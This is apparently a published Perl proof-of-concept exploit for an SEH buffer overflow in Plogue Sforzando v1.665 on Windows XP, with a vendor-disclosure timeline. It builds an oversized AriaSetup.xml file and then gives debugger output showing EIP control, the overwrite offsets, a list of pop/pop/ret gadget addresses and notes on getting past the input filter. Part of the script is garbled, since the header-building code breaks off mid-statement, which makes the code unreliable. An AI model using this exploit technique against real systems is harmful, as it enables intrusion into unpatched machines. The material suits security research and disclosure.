#!/usr/bin/perl ########################################################################################## # Exploit Title: Plogue Sforzando v1.665 Buffer Overflow POC # Date Discovered: 10-29-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: Sforzando v1.665 # Software Link: http://www.softpedia.com/dyn-postdownload.php?p=227357&t=0&i=1 # Vendor site: http://www.plogue.com/downloads/ # Version: 1.665 # Tested On: Windows XP SP3 ########################################################################################## # Timeline # - 10-29: Vuln discovered, vendor contacted # - 10-30: Vendor acknowleged receipt of bug report # - 10-31: Vendor applied fix to software installers ########################################################################################## # At first glance this seems to be a straightforward SEH BOF however it's not the case # largely due to the way the application treats non-ASCII input (see notes after POC code) # Refer to the notes at the end of POC code for more details ########################################################################################## # The application loads the AriaSetup.xml file at launch and reads the product value # By changing these values we can generate a BOF as follows my $buffsize = 15000; # sets buffer size for consistent sized payload # build the start of the xml file my $header = 'key'; $header = $header . ''; $header = $header . '$file"); print FILE $buffer; close(FILE); print "Exploit file created [" . $file . "]\n"; print "Buffer size: " . length($buffer) . "\n"; ############################################# #------------------- NOTES------------------# ############################################# # after the above POC, seh chain looks like this: # Address SE handler # 0012E31C ntdll.7C9032BC # 0012ECC4 43434343 # 42424242 *** CORRUPT ENTRY *** # And the stack... # ... # 0012ECB0 41414141 AAAA # 0012ECB4 41414141 AAAA # 0012ECB8 41414141 AAAA # 0012ECBC 41414141 AAAA # 0012ECC0 41414141 AAAA # 0012ECC4 42424242 BBBB Pointer to next SEH record # 0012ECC8 43434343 CCCC SE handler # 0012ECCC 44444444 DDDD # 0012ECD0 44444444 DDDD # 0012ECD4 44444444 DDDD # 0012ECE0 44444444 DDDD # 0012ECE4 44444444 DDDD # ... # And the registers... # EAX 00000000 # ECX 43434343 # EDX 7C9032BC ntdll.7C9032BC # EBX 00000000 # ESP 0012E308 # EBP 0012E328 # ESI 00000000 # EDI 00000000 # EIP 43434343 # So, next SEH is overwritten at offset 392, SEH (and EIP) at 396 # and there is plenty of room directly following for shellcode # The problem that we have for an SEH BOF are the available pop/pop/ret and the input sanitization performed by the application # Here are the 14 available pop/pop/ret found by mona (using -all switch) # 0x72d11f39 : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1170b : pop esi pop ebx ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1204e : pop esi pop ebx ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d115b8 : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1263d : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1269c : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x00280b0b : call dword ptr ss:[ebp+30] | startnull,ascii {PAGE_READONLY} # 0x72d119de : pop esi pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d11225 : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1283f : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d12899 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d128f3 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d12956 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d12ebe : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d12f35 : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # The application only accepts certain characters as input, limited primarily to the ASCII character set, with some exceptions: # # All ASCII characters \x0a through \x7f appear to be accepted as-is except as follows: # - \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x26 -- these are stripped entirely # - \x22 appears to be processed as a double quote and terminates the remainder of the xml string input # - \x0a is replaced with \x0d # Anything outside of the ASCII range appears to be stripped (or sometimes replaced) # This poses a problem when trying to find a usable address for our overwrites # For example, given the pop/pop/ret addresses found, we would need to include \xd1 # If we try to overwrite SEH with the the address 0x72d11225 (\x25\x12\xd1\x72) we get this: # 0012ECBC 41414141 AAAA # 0012ECC0 41414141 AAAA # 0012ECC4 42424242 BBBB Pointer to next SEH record # 0012ECC8 44721225 %%%D SE handler # 0012ECCC 44444444 DDDD # 0012ECD0 44444444 DDDD # Notice how \xd1 is stripped (and our trailing input shifted). # Through a bit of basic trial and error I noticed that you can # force the application to retain input chars by appending other chars to it. # For example to maintain \xd1 we can append \xa9 to it # An SEH overwrite of \x25\x12\xd1\xa9\x72 would result in: # 0012ECBC 41414141 AAAA # 0012ECC0 41414141 AAAA # 0012ECC4 42424242 BBBB Pointer to next SEH record # 0012ECC8 A9D11225 %%%% SE handler # 0012ECCC 44444472 rDDD # 0012ECD0 44444444 DDDD # This time \xd1 is maintained but unfortunately, the app also maintains the appended \xa9 byte # which makes this approach innefective for addressing (but possibly useful for shellcode) # I didn't have the time to investigate this any further but I figured I'd post this POC # in case someone else wants to give it a go